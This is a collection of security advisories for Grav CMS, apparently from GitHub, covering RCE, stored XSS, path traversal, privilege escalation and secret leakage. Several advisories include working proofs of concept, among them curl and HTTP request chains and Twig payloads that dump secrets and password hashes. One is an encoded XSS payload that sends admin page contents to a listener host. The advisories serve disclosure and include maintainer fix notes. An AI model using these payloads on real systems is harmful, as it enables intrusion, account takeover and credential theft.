Where
-Infinity
0
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Grav versions >= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-@: directives by calling calluserfuncarray() on attacker-influenced input, validating only that the target is callable (iscallable()) without restricting dangerous functions such as exec, system, passthru, or shellexec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server.

First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Grav is a file-based Web platform. Prior to 2.0.0, an authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool because Installer::unZip calls ZipArchive::extractTo without limits on uncompressed size, entry count, or directory depth. This issue is fixed in version 2.0.0.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Grav before 1.6.30 contains a cross-site scripting vulnerability in the Admin plugin page editor default security configuration. Privileged users with page editing capabilities can inject malicious scripts to execute arbitrary code and install malicious plugins for system access.

First published (updated )
Severity
7.7
Infoleak
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

php $twigvars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|jsonencode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.

PoC

bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')

Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null

Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null

Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Malicious File Upload
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

Details

The vulnerability is located in the API plugin's blueprint upload flow:

- user/plugins/api/classes/Api/ApiRouter.php:261 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417 - user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.

When the request uses:

- destination=self@: - scope=users/anything

The server resolves the write target to the shared account directory:

text user/accounts/

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.

The required attacker privilege is low:

yaml access: api: access: true media: write: true

PoC

Step 1: Authenticate as the low-privileged API user

http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

text UPLOADERTOKEN = <accesstoken from response>

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

Step 2: Upload a malicious account YAML file

http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADERTOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close

------CodexBoundaryF01 Content-Disposition: form-data; name="destination"

self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope"

users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml

email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01--

Expected result:

json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] }

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />

Step 3: Log in as the newly created account

http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

json { "data": { "user": { "username": "pwned", "superadmin": true } } }

Attachment:

<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />

Step 4: Verify privileged API access

http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNEDTOKEN> Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

- modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

- the upload response returned user/accounts/pwned.yaml - logging in as pwned succeeded - the new account had superadmin = true - privileged endpoints such as /api/v1/system/info were accessible

1 / 2
Source: GitHub
First published (updated )
Severity
8.9
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H

Summary A low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).

Details Affected endpoint: admin/pages/<page> Affected code: system/src/Grav/Common/Security.php

php public static function detectXss($string, array $options = null): ?string { // Skip any null or non string values if (null === $string || !isstring($string) || empty($string)) { return null; }

if (null === $options) { $options = static::getXssDefaults(); }

$enabledrules = (array)($options['enabledrules'] ?? null); $dangeroustags = (array)($options['dangeroustags'] ?? null); if (!$dangeroustags) { $enabledrules['dangeroustags'] = false; } $invalidprotocols = (array)($options['invalidprotocols'] ?? null); if (!$invalidprotocols) { $enabledrules['invalidprotocols'] = false; } $enabledrules = arrayfilter($enabledrules, static function ($val) { return !empty($val); }); if (!$enabledrules) { return null; }

// Keep a copy of the original string before cleaning up $orig = $string;

// URL decode $string = urldecode($string);

// Convert Hexadecimals $string = (string)pregreplacecallback('!(&#|\\\)xX;?!u', static function ($m) { return chr(hexdec($m[2])); }, $string);

// Clean up entities $string = pregreplace('!(&#[0-9]+);?!u', '$1;', $string);

// Decode entities $string = htmlentitydecode($string, ENTNOQUOTES | ENTHTML5, 'UTF-8');

// Strip whitespace characters $string = pregreplace('!\s!u', ' ', $string); $stripped = pregreplace('!\s!u', '', $string);

// Set the patterns we'll test against $patterns = [ // Match any attribute starting with "on" or xmlns 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu',

// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols 'invalidprotocols' => '#(' . implode('|', arraymap('pregquote', $invalidprotocols, ['#'])) . ')(:|\&\#58)\S.?#iUu',

// Match -moz-bindings 'mozbinding' => '#-moz-binding[a-z\x00-\x20]:#u',

// Match style attributes 'htmlinlinestyles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>](url\:|x\:expression).)>?#iUu',

// Match potentially dangerous tags 'dangeroustags' => '#</(' . implode('|', arraymap('pregquote', $dangeroustags, ['#'])) . ')[^>]>?#ui' ];

// Iterate over rules and return label if fail foreach ($patterns as $name => $regex) { if (!empty($enabledrules[$name])) { if (pregmatch($regex, $string) || pregmatch($regex, $stripped) || pregmatch($regex, $orig)) { return $name; } } }

return null; }

Specifically the line:

php 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu',

assumes that the onevents will always begin with either whitespace, ', " which can easily be bypassed with a simple payload like:

<img src=x onload=alert('1')>

This XSS Filter practice is broken. 1. Blacklisting every possible scenario that leads to XSS isn't possible. 2. Regex can't parse HTML.

It would be better to use an HTMLPurifier. PoC Grav Core + Admin Plugin Grav Version: v1.7.49.5 - Admin v1.10.49.1

1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages. !User Perms

2. Login as the low-privileged user and browse to pages: !Pages

3. Create a post with the following content: <svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>

The payload base64 is decoded to:

javascript (async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();

whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the info endpoint and the response will be sent to attacker beacon/listener.

4. Save !Post Created

5. Start a ncat listener on port 8001.

bash ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658.

6. Now as a Super Admin visit the / of Grav http://localhost/grav-admin/ for me: !Visiting Grav

7. We get a response with the admin-nonce and the entire system information:

┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658. POST /grav-log HTTP/1.1 Host: 127.0.0.1:8001 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Content-Type: text/plain;charset=UTF-8 Content-Length: 127013 Origin: http://localhost/ Connection: keep-alive Referer: http://localhost/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site Priority: u=6

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Configuration: Info | Grav</title> <meta name="description" content=""> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="icon" type="image/png" href="/grav-admin/user/plugins/admin/themes/grav/images/favicon.png">

<script type="text/javascript"> window.GravAdmin = window.GravAdmin || {}; window.GravAdmin.config = { currenturl: '/grav-admin/admin/config/info', baseurlrelative: '/grav-admin/admin', baseurlsimple: '/grav-admin', route: 'info', paramsep: ':', enableautoupdatescheck: '1', admintimeout: '1800', adminnonce: '1265db72d897b4324cbe7d1781e66e3b', <SNIPPED>

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability exploitable by a low-privileged user, which leads to exfiltration of the admin session context, including the adminnonce. This nonce can be abused to bypass CSRF protections and authenticate further requests to sensitive admin endpoints. Given Grav’s support for scheduled tasks and extensible plugin architecture, this can be escalated to Remote Code Execution (RCE) under favorable conditions.

Affected Component: Grav Core + Admin Plugin (v1.7.49.5 / v1.10.49.1) Impact: Full system compromise via RCE chain originating from low-privilege XSS.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Overall CVSS Score: 9.0 High Impact

---

---

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2. Two changes in tandem:

1. Regex bypass (detection layer) — the onevents regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details.

2. Missing dangerous tags — svg, math, option, and select have been added to default security.xssdangeroustags in system/config/security.yaml. svg and math allow inline scripting through their XML namespace and event-handler surface; option/select are the tags attackers use to break out of the admin's select-template context before dropping the payload.

Combined with the tightened onevents regex, the PoC <svg>…<script>…</script></svg> (and the GHSA-c2q3 </option></select><img src=x onerror=alert(1)> variant) now trip at least one detector.

Files: - system/config/security.yaml — dangerous-tags list extended. - system/src/Grav/Common/Security.php — regex tightening. - tests/unit/Grav/Common/Security/DetectXssTest.php.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write

[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection

Summary

Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the sessionid (passed as form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data.

This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.

Affected Component

- Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026). - Class: Grav\Framework\Form\FormFlash - Method: construct() / getTmpDir() - Parameter: sessionid (Mapped to form-flash-id in POST requests)

Vulnerability Details

The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided sessionid. The path construction logic in the latest source:

php $folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : ''); $this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;

Lack of sanitization on the sessionId (the raw session identifier) allows the use of ../ sequences. When findResource resolves the stream, it allows escape into any writable directory within the webserver's scope (typically user/config/, cache/, logs/, and tmp/).

Affected Versions & Zero-Day Status

- Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025). - Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched. - Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions). - CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.

Steps to Reproduce

1. Identify any page containing a Grav Form (e.g., /contact). 2. Intercept the POST request during form submission. 3. Modify the form-flash-id parameter to include a traversal sequence targeting a writable directory (e.g., ../../user/config/proofdir). 4. Submit the request. 5. Observe that a new directory (poc/) and file (index.yaml) have been created at the traversed path.

Request Example

http POST /contact HTTP/1.1 Host: target.grav.cms Content-Type: application/x-www-form-urlencoded

form-name-=contact&form-flash-id=../../user/config/proofdir&form-data[name]=Attack&form-data[message]=Payload

Response / Result

- HTTP/1.1 302 Found (Standard redirect) - Filesystem Modification: - Directory Created: /var/www/html/user/config/proofdir/poc/ - File Created: /var/www/html/user/config/proofdir/poc/index.yaml

Proof of Concept Evidence (Before/After)

Before Exploitation

- Status: Directory does not exist. - Evidence:

bash $ ls -la /var/www/html/user/config/proofdir/ ls: cannot access '/var/www/html/user/config/proofdir/': No such file or directory

After Exploitation

- Status: Arbitrary directory and index.yaml created. - Evidence:

bash $ ls -la /var/www/html/user/config/proofdir/poc/index.yaml -rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proofdir/poc/index.yaml $ cat /var/www/html/user/config/proofdir/poc/index.yaml form: '' id: '' uniqueid: poc ... data: pocstatus: confirmed

Impact

- Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation. - Configuration Injection: Writing index.yaml into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings. - Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses. - Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).

Attack Requirements

- Authentication: None (Unauthenticated) - Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)

Exploitability Assessment

- Complexity: Low. Requires only basic HTTP POST parameters. - Reliability: 100% (Deterministically reproducible in vulnerable versions). - Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.

Remediation

1. Sanitize Session IDs: Apply basename() or a strict alphanumeric regex to the sessionid in FormFlash before path construction. 2. Filesystem Hardening: Ensure user/config/ and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories. 3. Update Grav: Monitor for patches addressing FormFlash sanitization.

---

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.

What changed: FormFlash::construct() now sanitizes sessionid, uniqueid, and id through a strict [A-Za-z0-9,-]{1,64} allowlist before any path is constructed from them. Invalid values collapse to '', which causes save()/delete()/getTmpDir() to no-op — so a form-flash-id=../../user/config/proofdir POST simply does nothing on disk.

Files:

- system/src/Grav/Framework/Form/FormFlash.php - tests/unit/Grav/Common/Security/FormFlashSecurityTest.php — 32 test cases covering the PoC + variants.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary A business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account.

Details The vulnerability stems from an insecure "Create or Update" logic within the user management module. When the admin-addon handles a user creation request, it does not strictly validate whether the username is already taken by a higher-privileged account. Instead of returning a "409 Conflict" or a validation error, the application logic proceeds to overwrite the existing user configuration file (e.g., user/accounts/root0.yaml) with the new, lower-privileged data provided by the attacker. Because the attacker cannot assign higher permissions to themselves (due to existing fixes), the result is that the targeted account (the original Admin/Root) has its access levels wiped or replaced by the attacker's input, effectively locking the real administrator out of the system.

PoC 1. Log in as a Super User (e.g., root0) and create a low-privileged user (e.g., adminuser). 2. Assign adminuser the following specific permissions: admin.login admin.users.list admin.users.read admin.users.create 3. Log out and log back in as adminuser. 4. Navigate to User Accounts -> Add. 5. Fill in the form with the following details: Username: root0 (The exact username of the Super User) Email: anything@grav.f Fullname: Fake Root0 7. Click Save. 8. Observe that the account is successfully "created". 9. The original administrative permissions are gone, and the account is now restricted.

PoC video https://github.com/user-attachments/assets/047cb44e-0279-402b-b4fb-12bf5d427a5e

Impact This is a Privilege De-escalation and Account Disruption vulnerability. Who is impacted: Any Grav installation where a non-admin user is granted permission to create other users. Consequence: An attacker can effectively disable all administrative accounts on the platform, leading to a complete loss of management control over the CMS.

---

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.

What changed: UserObject::save already had a uniqueness guard (commit 19c2f8da7, November 2025) that blocks the PoC. This release tightens that guard:

1. strpos($key, '@@') → strcontains($key, '@@'). The previous form was falsy when the transient-key marker was at position 0 (e.g. @@hash), silently bypassing the check. strcontains returns a proper boolean. 2. The instanceof FileStorage gate was dropped so the uniqueness check runs for any FlexStorageInterface backend — not just the default file-per-user YAML one.

A low-privileged user with admin.users.create can no longer disrupt a super-admin account by submitting that admin's username through the "add user" form.

Files: - system/src/Grav/Common/Flex/Types/Users/UserObject.php. - tests/unit/Grav/Common/Security/UserOverwriteSecurityTest.php — 3 tests pinning the PoC, the @@-prefix edge case, and pass-through for free usernames.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary A stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes.

Details The detectXss() function relies on a blacklist pattern to filter malicious attributes. The specific regex pattern used to match on events is flawed: php 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu' This pattern fails to properly identify on event handlers that are constructed without quotation marks. This allows an attacker to completely bypass the filter. Note: It is highly recommended to replace this blacklist approach with a robust, established HTML sanitization library.

PoC An attacker with publisher-level access can reproduce this by injecting the following payload into any vulnerable content field: html <img src=x onerror=eval(atob(/YWxlcnQoZG9jdW1lbnQuY29va2llKQ/.source))> <img width="1889" height="482" alt="image1" src="https://github.com/user-attachments/assets/0f1a339b-25a8-4b6e-91af-8c59e6a39297" /> <img width="3055" height="920" alt="image2" src="https://github.com/user-attachments/assets/12680058-bbb3-4446-b58e-515533bb4e90" /> <img width="2909" height="1339" alt="image3" src="https://github.com/user-attachments/assets/c7ed7e61-8dcf-402d-8589-98d18978c71a" />

Execution Details: The onerror event is written without quotes to bypass the regex. Because unquoted attributes are restricted in their character usage (e.g., the = symbol cannot be used easily), the payload leverages atob() and regex .source to decode the base64 string YWxlcnQoZG9jdW1lbnQuY29va2llKQ (which translates to alert(document.cookie)). The atob() function conveniently auto-completes the necessary = padding for the base64 string.

Impact - Vulnerability Type: Stored Cross-Site Scripting (XSS) - Impacted Parties: Any user (including administrators) who views the compromised content published by the attacker. - Consequences: Attackers can execute malicious scripts in a victim's browser, leading to session hijacking (cookie theft), unauthorized actions.

---

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2.

What changed: the onevents regex in Security::detectXss() no longer requires quotes or whitespace around =. The previous form:

'onevents' => '#(<[^>]+[\s\x00-\x20\"\'\/])(on\s[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu'

required [\s|'"] immediately after the =, so <img src=x onerror=alert(1)> slid past. The new regex drops the value-matching tail entirely and just flags the presence of an on= attribute anywhere inside a tag:

'onevents' => '#<[^>]?\s\x00-\x20\"\'\/\s=#iu'

Detecting the attribute name + = is enough for a tripwire — the trade-off is occasional false positives on legitimate attribute values containing on= substrings, which the maintainer can hand-approve.

This same regex bypass was the detection-layer half of GHSA-c2q3-p4jr-c55f and GHSA-w8cg-7jcj-4vv2; the fix here knocks both down.

Files: - system/src/Grav/Common/Security.php. - tests/unit/Grav/Common/Security/DetectXssTest.php — 18 cases: unquoted PoCs, quoted-form regression, safe-content negatives.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary Information disclosure exists in Grav CMS v1.8.0-beta.29. Despite previous security patches (notably in v1.8.0-beta.27/28) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed.

A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt.

Affected version Grav CMS: v1.8.0-beta.29 (and earlier 1.8.x beta versions).

Note: This vulnerability persists even after the vendor attempted to mitigate similar SSTI vectors in earlier beta releases.

Steps to Reproduce 1. Create a low-privileged account (MY CASE IS 'editorchen') with permissions limited to admin.login and basic page management (create, update, list). Ensure all administrative permissions (Configuration, User Accounts, ...) are explicitly Denied.

2. Login to the Admin panel using editorchen. Navigate to Pages and edit the Home page.

3. Under the Advanced tab, ensure Process Twig is enabled .

4. In the Content tab, inject the following Twig payload designed to bypass the isDangerousFunction filter by accessing the internal service container: --- title: Information Disclosure Test process: twig: true --- Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashedpassword') }} - Security Salt: {{ grav.config.get('security.salt') }} <img width="1176" height="618" alt="GRAV" src="https://github.com/user-attachments/assets/7970216a-2dc6-4d1b-8dfd-b64f3712c9c5" />

5. Click Save. And navigate to the public page (http://localhost:8000/home). Page will render and display the administrator's Bcrypt hash and the system security salt. <img width="1278" height="462" alt="GRAV2" src="https://github.com/user-attachments/assets/33b7b894-6ae3-4d29-bd2d-8004e9b343e0" />

PoC --- title: Information Disclosure Test process: twig: true --- Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashedpassword') }} - Security Salt: {{ grav.config.get('security.salt') }}

Impact Attackers can obtain the password hashes of all registered users, including Super Administrators.

Extracted hashes can be subjected to offline brute-force or dictionary attacks (EX: USE Hashcat)

Video Pls refer to the attached video <video src="https://github.com/user-attachments/assets/74d5ae41-7911-4099-b2cc-e6c51b27c68c" controls="controls" style="max-width: 100%;"> </video>

---

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.

What changed: the HMAC key formerly stored as security.salt in user/config/security.yaml has moved out of the Config tree into user/config/security-private.php. On upgrade, the existing salt value is migrated into the new file on first request (preserving CSRF nonces and sessions) and the key is scrubbed from both the live Config object and the on-disk YAML — so {{ grav.config.get('security.salt') }} from a sandboxed Twig template now returns null. The .php extension is blocked from web access by the default user/.php htaccess rule; the file contains only a return statement, so direct PHP exec produces no output either.

The PoC's password-hash half (grav['accounts'].load('admin').get('hashedpassword')) was already covered by the new Twig content sandbox in 2.0.0-beta.2 — UserCollection::load is not in the sandbox allowlist — see the separate GHSA-58hj-46fw-rcfm advisory.

Files: - system/src/Grav/Common/Security.php — new Security::getNonceKey() + migration. - system/src/Grav/Common/Utils.php — generateNonceString now uses the new key. - system/src/Grav/Common/Service/SessionServiceProvider.php. - system/src/Grav/Common/Config/Setup.php — removed auto-gen of security.salt. - system/config/security.yaml — removed placeholder salt:. - tests/unit/Grav/Common/Security/NonceKeySecurityTest.php — migration + generation coverage.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
XSS, Race Condition
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

An authenticated user with page editing permissions can inject an executable JavaScript event-handler attribute into rendered image HTML through Grav's Markdown media action syntax.

The issue is caused by Markdown image query parameters being converted into callable media actions. The public attribute() media method can be reached this way, allowing an editor to set an arbitrary HTML attribute name and value on the generated image element.

For example, this Markdown:

markdown !Quarterly market overview)

is rendered as an image tag containing an executable onload handler:

html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?...">

This results in stored XSS when another user views the affected page. In a multi-user Grav installation, a lower-privileged page editor could use this to target administrators or reviewers who preview or view editor-controlled content.

Tested versions:

- Grav CMS: 1.7.49.5 - Admin Plugin: 1.10.49.1

Suggested classification:

